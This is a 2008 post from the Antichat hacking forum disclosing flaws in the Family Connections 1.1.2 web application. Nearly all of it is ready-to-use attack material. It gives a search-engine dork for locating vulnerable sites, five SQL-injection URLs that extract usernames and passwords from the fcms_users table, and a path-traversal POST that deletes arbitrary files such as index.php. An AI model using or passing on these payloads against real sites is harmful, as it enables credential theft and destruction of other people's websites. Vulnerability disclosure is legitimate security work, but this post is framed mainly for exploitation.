Форум АНТИЧАТ - Family Connections 1.1.2 Multiply Vulns

Family Connections 1.1.2 Multiply Vulns

04.07.2008, 22:53

_kREveDKo_2

Новичок

Регистрация: 13.06.2007

Сообщений: 3

Провел на форуме:
51667

Репутация: 23

Family Connections 1.1.2 Multiply Vulns

[*] Author : n3v3rh00d, http://forum.antichat.ru

[*] Download : http://rubyforge.org/frs/download.php/7989/familyconnection-1.1.2.tar.gz

[*] Dork : intitle:"powered by Family Connections 1.1.2"

[*] Bug Type 1 : Remote Sql-injection

[*] POC's :

Код:

/gallery/index.php?uid=1&cid=-1+union+select+1,2,3,4,5,concat(username,char(64),password)+from+fcms_users/*&pid=1
			/inc/familynews_comments.php?newsid=0+union+select+0,concat(username,char(64),password),2,3,4,5,6,7+from+fcms_users/*
			/addressbook.php?address=0+union+select+0,password,username,3,4,5,6,7,8,9,0,1,2,3,4+from+fcms_users/*
			/addressbook.php?letter=0%27+union+select+0,1,2,3,concat(username,char(64),password),5+from+fcms_users/*
			/home.php?action=results&poll_id=0+union+select+0,1,2,concat(username,char(64),password),4+from+fcms_users/*

[*] Bug Type 2 : Arbitrary file delete

[*] POC :

/inc/upimages.php
POST: delimg=&img=../../index.php